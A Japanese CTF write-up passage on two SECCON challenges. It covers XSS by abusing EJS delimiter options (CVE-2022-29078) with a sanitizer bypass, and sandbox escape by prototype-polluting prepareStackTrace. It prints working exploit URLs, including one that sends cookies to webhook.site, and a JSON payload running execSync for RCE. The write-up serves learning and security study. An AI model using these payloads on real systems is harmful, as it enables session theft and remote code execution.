最後はProcess-based Permissionsによる、render.dist.js から読み込めるファイルの制限だ。ここで指定されている src というディレクトリには render.js, render.dist.js, index.ejs の3つのファイルのみがあり、これら以外を --allow-fs-read オプションによって読み込めなくしている。

  const proc = await util
    .promisify(execFile)(
      "node",
      [
        // Mitigation 4:
        "--experimental-permission",
        `--allow-fs-read=${__dirname}/src`,

        "render.dist.js",
        JSON.stringify(req.query),
      ],
      {
        timeout: 2000,
        cwd: `${__dirname}/src`,
      }
    )

ejs.renderFile の引数をある程度自由にコントロールできるが、いくつか対策を用意している。この状況でXSSに持ち込んでみろという挑戦状だ。

最近Codegate CTF 2023 Preliminary - CalculatorというEJSのオプションで色々頑張る問題に遭遇しており、その際にEJSについて色々確認していた。その中で気になっていたのが delimiter, openDelimiter, closeDelimiter という3つのオプションで、これらはそれぞれデフォルトで %, <, > という値になっている。ではこれらを変えるとどうなるか。delimiterneko に変えると、たとえばデフォルトでは <%= 123 %> でなければこの箇所がレンダリングされないところ、<neko= 123 neko> のようにしても動く。openDelimitercloseDelimiter はそれぞれ開始タグと終了タグで delimiter の前と後に来る文字列を変更できる。

なぜ気になっていたかというと、これらのオプションを変更することができ、かつテンプレートとするファイルを指定できるのであれば、<%%> を含まないファイルであっても無理やりテンプレートとして扱うことができるためだ。これはXSSに便利ではないかと考えていたが、その問題ではRCEが目的であったために深掘りをしていなかった。

ただ、EJSでは ejs.renderFile(filename, { openDelimiter: 'hoge', closeDelimiter: 'fuga' }) のように、第2引数から openDelimitercloseDelimiter を指定しても有効でない。これらのオプションは本来第3引数から与えられるべきものであり、本来テンプレートに渡されるデータの入る第2引数から与えられて有効になるオプションは、一部でしかないためだ。第2引数からも指定できるオプションは _OPTS_PASSABLE_WITH_DATA_EXPRESS に含まれるもの、すなわち _OPTS_PASSABLE_WITH_DATA で定義されているものに cache を加えた12個のみに限られる

が、実はそうでもない。ejs.renderFile では utils.shallowCopyFromList(opts, data, _OPTS_PASSABLE_WITH_DATA_EXPRESS) のようにして、実際に適用されるオプションが入っている opts という変数に、data のうち _OPTS_PASSABLE_WITH_DATA_EXPRESS に含まれているキーのみをコピーしてきている。しかしながら、その前を見ると utils.shallowCopy(opts, viewOpts) と、data.settings['view options'] に入っているものを、特にフィルターなしに optsコピーしていることがわかる。これを使えば、_OPTS_PASSABLE_WITH_DATA_EXPRESS に含まれていない openDelimitercloseDelimiter も上書きできる。これは CVE-2022-29078 という「脆弱性」とされている*7

EJSのドキュメントを見るとわかるけれども、<%=<%- のように開始タグで openDelimiter, delimiter の後に =- がないと、開始タグと終了タグの間にあるJSコードを評価した結果を出力してくれないという問題もある。つまり、<%= 7*7 %> ならば 7*7 を評価した 49 をEJSは出力してくれるが、<% 7*7 %> であれば 7*7 を評価してくれるものの、その結果を出力してくれない。ちなみに、<%= では <> といったHTMLにとって危険な文字をエスケープしてくれるが、<%- ではエスケープせずに出力する。

これらの =- といった文字はハードコーディングされており、オプションからは指定できない。つまり、JSコードとして妥当な文字列の直前に = もしくは - があり、これらを同じ文字列が囲んでいるパターンを見つけて、delimiter, openDelimiter, closeDelimiter を調整することで攻撃に利用しなければならない。

次の bot から持ってきたコード片を例として考える。1箇所 = が存在しているが、その直前に (半角スペース)が存在している。JSとして妥当な await *8という文字列の後にちょうどまた がある。したがって、delimiter に、openDelimiterconst page に、closeDelimitercontext.newPage(); にすることで、EJSからすると const page = await context.newPage();<%= await %> 相当であるように見えるわけだ。

    const page = await context.newPage();
    await page.setCookie({
      name: "FLAG",
      value: FLAG,
      domain: APP_HOST,
      path: "/",
    });

PowerPointで無理やり作った図がこんな感じ。EJSからはこう見えているというイメージだ。

試してみよう。上のコードを test.ejs として保存した上で、これをテンプレートとして delimiter, openDelimiter, closeDelimiter に細工したものを設定し、レンダリングするJSコードを用意する。

const ejs = require("ejs");

ejs.renderFile("test.ejs", {
    await: 123,
    delimiter: ' ',
    settings: {
        'view options': {
            openDelimiter: 'const page',
            closeDelimiter: 'context.newPage();'
        }
    }
}).then(console.log);

実行すると、ちゃんと await123 に置き換えられていることがわかる。

$ node test.js
123
await page.setCookie({
  name: "FLAG",
  value: FLAG,
  domain: APP_HOST,
  path: "/",
});

render.dist.js からアクセスできる範囲内、つまり index.ejs, render.dist.js, render.js の中から、このように無理やりテンプレートとして扱えるような箇所を見つけなければならない。見つけたとしてどのように使うかだけれども、レンダリングした際に次のような挙動を示すパーツが必要になる。わざわざ2.から1.を読み込むようにしているのは、CSPで default-src 'self' が指定されており、これをバイパスする必要があるためだ。

  1. 実行すると document.cookie を外部に投げるようなJSコードを出力できる箇所
  2. <script src=(1.のURL)></script> のようにJSコードを実行するHTMLタグを出力できる箇所

まずは簡単な1.から探していく。こちらは簡単で、JSコードならば <, >, & といったHTMLにとって危険な文字がエスケープされたとしても、バイパスできる手段がいくらでもある(あるいはそもそも必要ない)ので、適当に =- を探して、前述の delimiter に囲まれた部分がJSコードとして妥当であるかという条件に合っているか確認していけばよい。render.dist.js はEJSがバンドルされているおかげで25KBほどあり、それっぽい箇所がたくさんある。適当に条件に合うこの箇所を選ぶ。

以下のようにオプションを指定することで <%= opts.client %> 相当のパーツに仕立て上げた。

  • delimiter:
  • openDelimiter: var returnedFn
  • closeDelimiter: ? fn

インデントの個数からもわかるように、この箇所は様々なブロックや関数呼び出しの中にあり、この箇所が置換されてしまう、頑張って、置換されても全体がJSコードとして正しくなるよう辻褄を合わせる必要がある。VSCodeとにらめっこして対応するカッコを選んでいき、この箇所を }}}});alert(123);a({a(){a={a(){function a(){// に置換させることでなんとかできた。次のパスとクエリパラメータでアクセスする。

/?filename=render.dist.js&delimiter=%20&settings[view%20options][openDelimiter]=var%20returnedFn&settings[view%20options][closeDelimiter]=%3f%20fn%20&opts[client]=}}}});alert(123);a({a(){a%3d{a(){function%20a(){//

出力されたJSコードをDevToolsのコンソールにコピペして実行すると、alertが表示された。うまくいっているようだ。

次はこのJSコードを読み込む script タグを作り出す必要がある。非常に、非常に面倒なことに、前述の通り express-xss-sanitizer によってユーザ入力がフィルターされていることを思い出されたい。たとえば <script>alert(123)</script> のような文字列がクエリパラメータの値として指定されていれば、これは丸々削除されてまるで元々空文字列が入っていたように入力が書き換えられてしまうし、< 単体で投げても &lt; のように実体参照に変えられてしまう。不思議なことに最初から &lt; であった場合には、&&amp; に置換されず、そのまま &lt; のままであるというのは使えそうだが。

このような状況であるため、たとえば foo というクエリパラメータに <script>alert(123)</script> という値を設定した上で <%- foo %> 相当のことをさせたとしても、それはまったく意味がない。なんとかしてバイパスする必要があるということで、まずは <> が自分の手で出力できなくとも script 要素によってJSコードを実行させるにはどうするか考えた。すでにある < を活用するというアイデアが思い浮かぶ。次のようなコードを考える。

ここで delimiteropenDelimiter(bcloseDelimiter+ d とすると、EJSからはこの中に <<%- c %> 相当のタグがあるように見える。そして cscript が入ると、いい感じに置換されて <script というような形で script の開始タグができあがる。

if (a < (b - c + d)) {}

ただ、前述の通り <> がそのまま使えない以上、終了タグが作れず、script タグをそのまま使うのは難しい。ではどうするかというと、iframesrcdoc の組み合わせだ。これならば <iframe srcdoc="&lt;script&gt;alert(123)&lt;/script&gt;"> のように終了タグがなく中途半端であっても問題ない(> はどうせ後ろの方で出現するだろうから、開始タグは勝手に閉じられる)し、また <>&lt;&gt; に置換されてしまっていても、srcdoc につっこんでしまえば問題ない。

さて、同じ要領で render.dist.js から < の出現する箇所をひとつずつ見ていき、いい感じの箇所を探す。残念ながら - については条件に合う箇所が見つからなかった(見つけられなかった?)が、= については見つかった。ここだ。ここで適切な delimiter などを選ぶと、EJSからは <<%= list[i] %> 相当の箇所があるように見える。

次のパスやクエリパラメータでアクセスする。

/?filename=render.dist.js&list[]=iframe%20srcdoc%3dhoge&settings%5Bview+options%5D%5BopenDelimiter%5D=+list.length%3B+i%2B%2B%29+%7B%0A++++++++++var+p&settings%5Bview+options%5D%5BcloseDelimiter%5D=+++++++++if+%28typeof+from%5Bp%5D&delimiter=+&i=0

iframe ができあがっており、勝ちを確信する。

しかしながら、すぐにダメであることに気づく。srcdoc の中身を &lt;script&gt; に変えてみたところ、次のように &&amp; に置換されてしまっていることに気づく。ア。<%= がHTMLにとって危険な文字をエスケープすることを思い出し、なるほど、express-xss-sanitizer は見逃してくれるけれども、EJS側で変えられてしまうのだと理解する。

エスケープされないパターンを探すも、見つけられなかった。=- 以外で、delimiter に囲まれているJSコードを評価した結果を出力させる方法がないかも考える。実はEJSは次のようにレンダリング時にテンプレートをJSコードに変換しており、これにデータを与えて実行しHTMLを出力している。__append(escapeFn( await))<%= await %> が置換されたものだ。ここで __append は出力結果にその引数を結合する関数だ。render.dist.js 中に存在する __append の呼び出し箇所が使えないかひとつひとつ見ていったものの、いずれも有用ではなかった。

var __line = 1
  , __lines = "const page = await context.newPage();\r\nawait page.setCookie({\r\n  name: \"FLAG\",\r\n  value: FLAG,\r\n  domain: APP_HOST,\r\n  path: \"/\",\r\n});"
  , __filename = "test.ejs";
try {
  var __output = "";
  function __append(s) { if (s !== undefined && s !== null) __output += s }
  with (locals || {}) {
    ; __append(escapeFn( await))
    ; __append(";\r\nawait page.setCookie({\r\n  name: \"FLAG\",\r\n  value: FLAG,\r\n  domain: APP_HOST,\r\n  path: \"/\",\r\n});")
    ; __line = 7
  }
  return __output;
} catch (e) {
  rethrow(e, __lines, __filename, __line, escapeFn);
}

こんな感じで悩んでいるうちに競技の終了時刻を迎えた。


惜しいところまでいっているという感覚があったが、詰め切れなかった。競技終了後にDiscordを眺めていると、同じように delimiter, openDelimiter, closeDelimiter をいじりつつ、console.log(src) という箇所を実行させてやればよいという解法をGinoahさんが共有されていた。ここで、テンプレートのレンダリング処理がWebサーバとは別のプロセスで実行されており、このプロセスの標準出力を受け取ってWebサーバはユーザにHTMLを返しているということを思い出す。最後に考えていた =- を使う以外で出力させる方法だが、console.log を使うというのは思いつかなかったし、そもそも node render.dist.js … のように実行されていることが頭から抜けていた。

console.log(src) があるのはここ

次のようなオプションで、

  • delimiter:
  • openDelimiter: if (opts.debug)
  • closeDelimiter: {

次に相当するパーツに仕立て上げた。

<% {
          console.log(src);
        }
        if (opts.compileDebug && opts.filename) %>

後ろの if が中途半端に見えるけれども、生成されるJSコードでは次のようにすぐ後ろに ; が続くので合法だ。

    ; __line = 518
    ; {
          console.log(src);
        }
        if (opts.compileDebug && opts.filename)
    ; __line = 521
    ; __append("\n          src = src + \"\\n//# sourceURL=\" + sanitizedFilename + \"\\n\";\n        }\n        try")
    ; __line = 524

次のパスやクエリパラメータでアクセスする。

/?src=neko&filename=render.dist.js&settings%5Bview+options%5D%5BopenDelimiter%5D=if+(opts.debug)&settings%5Bview+options%5D%5BcloseDelimiter%5D={&delimiter=+

ちゃんと neko と表示された。

ただ、express-xss-sanitizer のサニタイズをどう回避するかという問題がある。express-xss-sanitizer はキー名はサニタイズしない(当然だ)ので、これは src[<script%20src=hoge></script>]=neko のようなクエリパラメータにしてやると次のように出力されて回避できる。

{ '<script src=hoge></script>': 'neko' }

あとはやるだけなのだけれども、URLの生成が面倒になってきたのでそのためのPythonスクリプトを作成する。

import requests

code = '/?filename=render.dist.js&delimiter=%20&settings[view%20options][openDelimiter]=var%20returnedFn&settings[view%20options][closeDelimiter]=%3f%20fn%20&opts[client]=}}}});alert(123);a({a(){a%3d{a(){function%20a(){//'.replace('[', '%5B').replace(']', '%5D')
r = requests.get('http://localhost:8000', params={
    'filename': 'render.dist.js',
    'settings[view options][openDelimiter]': 'if (opts.debug)',
    'settings[view options][closeDelimiter]': '{',
    'delimiter': ' ',
    f'src[<script src="{code}"></script>]': 'a'
})
print('[text]', r.text)
print('[url]', r.url)

実行して出力された以下のURLにアクセスするとalertが表示された。

http://localhost:8000/?filename=render.dist.js&settings%5Bview+options%5D%5BopenDelimiter%5D=if+%28opts.debug%29&settings%5Bview+options%5D%5BcloseDelimiter%5D=%7B&delimiter=+&src%5B%3Cscript+src%3D%22%2F%3Ffilename%3Drender.dist.js%26delimiter%3D%2520%26settings%255Bview%2520options%255D%255BopenDelimiter%255D%3Dvar%2520returnedFn%26settings%255Bview%2520options%255D%255BcloseDelimiter%255D%3D%253f%2520fn%2520%26opts%255Bclient%255D%3D%7D%7D%7D%7D%29%3Balert%28123%29%3Ba%28%7Ba%28%29%7Ba%253d%7Ba%28%29%7Bfunction%2520a%28%29%7B%2F%2F%22%3E%3C%2Fscript%3E%5D=a

実行するコードを alert(123) から location.assign(`https://webhook.site/(省略)?${document.cookie}`) に変える。出力された以下のURLを通報する。

http://web:3000/?filename=render.dist.js&settings%5Bview+options%5D%5BopenDelimiter%5D=if+%28opts.debug%29&settings%5Bview+options%5D%5BcloseDelimiter%5D=%7B&delimiter=+&src%5B%3Cscript+src%3D%22%2F%3Ffilename%3Drender.dist.js%26delimiter%3D%2520%26settings%255Bview%2520options%255D%255BopenDelimiter%255D%3Dvar%2520returnedFn%26settings%255Bview%2520options%255D%255BcloseDelimiter%255D%3D%253f%2520fn%2520%26opts%255Bclient%255D%3D%7D%7D%7D%7D%29%3Blocation.assign%28%60https%3A%2F%2Fwebhook.site%2F…%3F%24%7Bdocument.cookie%7D%60%29%3Ba%28%7Ba%28%29%7Ba%253d%7Ba%28%29%7Bfunction%2520a%28%29%7B%2F%2F%22%3E%3C%2Fscript%3E%5D=a

しばらく待つとbotがフラグを背負ってやってきた。

SECCON{RCE_is_po55ible_if_mitigation_4_does_not_exist}

[Sandbox 365] node-ppjail (5 solves)

Do you like Node better than Deno?

(問題サーバへの接続情報)

添付ファイル: node-ppjail.tar.gz

ソースコードを確認していく。Dockerfile には次のような処理があり、ルートディレクトリにランダムなファイル名でフラグが存在していることがわかる。RCEが必要っぽい。

COPY flag.txt .
RUN mv flag.txt /flag-$(md5sum flag.txt | cut -c-32).txt

index.ts はシンプルなのでそのまま載せる。やっていることは単純で、target というもとからある Object に、ユーザが入力したJSONをパースした Object をマージしているだけだ。Prototype PollutionでRCEに持ち込んでくださいということだろう。

Node.jsだし、--disable-proto オプションも付いていないしで、__proto__ でPrototype Pollutionできそう。constructor.prototype でもよし。set の処理を見ると key in target であるかチェックされており、すでに存在しているプロパティを上書きをしないよう気をつけている。target.hasOwnProperty(key) ではないのが厄介で、Object.prototype にも存在しないプロパティを生やしてくださいということになる。

import * as fs from "node:fs";

const CUSTOM_KEY = "__custom__";
const CUSTOM_TYPES = [
  "Object",
  "String",
  "Boolean",
  "Array",
  "Function",
  "RegExp",
];

type Dict = Record<string, unknown>;
type Custom = {
  [CUSTOM_KEY]: true;
  type: string;
  args: unknown[];
};

const isDict = (value: unknown): value is Dict => {
  return value === Object(value);
};

const isCustom = (value: unknown): value is Custom => {
  return isDict(value) && !!value[CUSTOM_KEY];
};

const set = (target: unknown, key: string, value: unknown) => {
  if (!isDict(target)) return;
  if (key in target) return;
  target[key] = value;
};

const merge = (target: unknown, input: Dict) => {
  if (!isDict(target)) return;
  for (const key of Object.keys(input)) {
    const value = input[key];
    if (!isDict(value)) {
      set(target, key, value);
    } else if (Array.isArray(value)) {
      set(target, key, []);
      merge(target[key], value);
    } else if (!isCustom(value)) {
      set(target, key, {});
      merge(target[key], value);
    } else {
      const { type, args } = value;
      if (CUSTOM_TYPES.includes(type)) {
        try {
          set(target, key, new globalThis[type](...args));
        } catch {}
      }
    }
  }
};

process.stdout.write("Input your JSON: ");
const inputStr = (() => {
  const buf = new Uint8Array(1024);
  const n = fs.readSync(fs.openSync("/dev/stdin", "r"), buf);
  return new TextDecoder().decode(buf.slice(0, n));
})();

const target: Dict = {
  title: "node-ppjail",
  category: "sandbox",
};
merge(target, JSON.parse(inputStr));

merge は再帰的にマージをしていく処理でほぼ普通だけれども、以下の箇所が特殊だ。もしある Object__custom__ というキーを持っていた場合には、その Objecttype というキーに対応する型について、args というキーを引数としてインスタンスを作成する。ただし、このとき typeObject, String, Boolean, Array, Function, RegExp のいずれかでなければならない。

const CUSTOM_KEY = "__custom__";
const CUSTOM_TYPES = [
  "Object",
  "String",
  "Boolean",
  "Array",
  "Function",
  "RegExp",
];
// …
      const { type, args } = value;
      if (CUSTOM_TYPES.includes(type)) {
        try {
          set(target, key, new globalThis[type](...args));
        } catch {}
      }

たとえば {"__custom__":1, "type": "Function", "args": ["console.log(123)"]} のようにして function () { console.log(123) } 相当の関数が作れる。まず思いつくのは toStringvalueOfにこういう関数を仕込むことだけれども、そのプロパティを持つ Object をどうやって文字列化させるのかという問題がある。以下のように __custom__args__custom__ を仕込むことを考えたが、merge の処理を読むと args の各要素がたとえ __custom__ であったとしても、まったく触れられない(type に対応するインスタンスが作成されない)ことに気づく。

{
    "__custom__": 1,
    "type": "RegExp",
    "args": [{
        "__custom__": 1,
        "type": "Function",
        "args": ["console.log(123)"]
    }]
}

競技中は次のような感じで Array.prototype とかをピンポイントでPrototype Pollutionできるなあと言ったり、

{
  "a": {
    "constructor": {
      "prototype": {
        "b": []
      }
    }
  },
  "b": {
    "constructor": {
      "prototype": {
        "hoge": 456
      }
    }
  }
}

次の通り Array, Function, RegExpvalueOf を持たないことを使えないかなーと考えて、すぐに settarget.hasOwnProperty(key) でなく key in target でチェックして上書きを防止しており、Object.prototype.valueOf が存在しているために動かないことに気づいたりと悩んでいるうちに競技の終了時刻を迎えた。

[Object,String,Boolean,Array,Function,RegExp].map(x => {
    return x.prototype.hasOwnProperty('valueOf')
})
// => [true, true, true, false, false, false]

競技終了後にDiscordを眺めていると、V8が提供するスタックトレースに関連する Error.prepareStackTrace が使えるという情報をmaple3142さんが共有されていた。これは Error.prepareStackTrace に関数を代入しておくと、例外が発生した際にスタックトレースの整形のために呼び出されるというものだ*9。こいつは起動時には次のように未定義で、このプロパティに関数を代入することで機能するという不思議な作りになっている。

> 'prepareStackTrace' in Error
false
> typeof Error.prepareStackTrace
'undefined'

Error.prepareStackTrace への代入でなくPrototype Pollutionでも機能するのか確認する。

$ cat test.js
Object.prototype.prepareStackTrace = () => {
    console.log(123);
};

a.b.c;

実行すると、たしかに機能していることが確認できた*10

$ node test.js
123
/tmp/tmpspace.ut9t4BiHXW/test.js:6
a.b.c;
^

[stack trace]

Node.js v20.6.1

あとはやるだけ…ではない。Object.prototype.prepareStackTrace に実行したい関数を仕込んでおき、適当な方法で例外を発生させるわけだが、以下のように __custom__ であるときのインスタンスの作成時にtry-catchで例外の発生が抑えられているのが厄介だ。いい感じにそれ以外の箇所で例外が発生するようにできないだろうか。

        try {
          set(target, key, new globalThis[type](...args));
        } catch {}

merge が再帰関数であることを使って、再帰回数の限界を狙うとよさそうかと思ったけれども、const buf = new Uint8Array(1024) とJSONのサイズに制限があるので厳しそう。う~んと悩んでmaple3142さんの解法をもう一度カンニングすると、Object.prototype.prepareStackTrace を定義したあとに、今度は prepareStackTrace.caller にアクセスして無理やりエラーを起こしていた。なるほどなあ。以下のようなJSONを投げつけてみる。

{
  "constructor": {
    "prototype": {
      "prepareStackTrace": {
        "__custom__": true,
        "type": "Function",
        "args": ["'use strict'; console.log(123); return ''"]
      }
    }
  },
  "prepareStackTrace": {
    "caller": { "a": "b" }
  }
}

すると、ちゃんと console.log(123) が実行されていることが確認できた。

$ nc localhost 1337
Input your JSON: {"constructor":{"prototype":{"prepareStackTrace":{"__custom__":true,"type":"Function","args":["'use strict'; console.log(123); return ''"]}}},"prepareStackTrace":{"caller":{"a":"b"}}}
123

あとは実行するコードを console.log(process.mainModule.require('child_process').execSync('cat /f*')+''); に変えるだけだ。投げるとフラグが得られた。

$ nc node-ppjail.seccon.games 1337
Input your JSON: {"constructor":{"prototype":{"prepareStackTrace":{"__custom__":true,"type":"Function","args":["'use strict'; console.log(process.mainModule.require('child_process').execSync('cat /f*')+''); return ''"]}}},"prepareStackTrace":{"caller":{"a":"b"}}}
SECCON{Deno_i5_an_anagr4m_0f_Node}
SECCON{Deno_i5_an_anagr4m_0f_Node}

*1:私のところにミドリはいません

*2:CyberMomoi

*3:このブログで「悔しい」や「くやしい」を検索すると結構な数の記事がヒットする。悔しいけどCTFをやめられないというか、悔しいからやめられないんだなあ

*4:cidを使うパターンをよく見かけるが、これはDOMPurifyがデフォルトで許可リストに入れているため。URLとJSコードのpolyglot(?)だ

*5:スキームの部分について、JSはラベルとして解釈する

*6:無限に出すと怒られてしまうので、alertの実行が1回きりになるよう調整している

*7:CODEGATE CTF 2023 Qualsのwriteupでも書いたけど、これって脆弱性なんですか?

*8:awaitは予約語であるが、このコンテキストでは識別子として使うことが許されるため文法上問題ない

*9:vm2などのサンドボックスからの脱出にも役立つことで知られている

*10:ここらへんの処理だろうか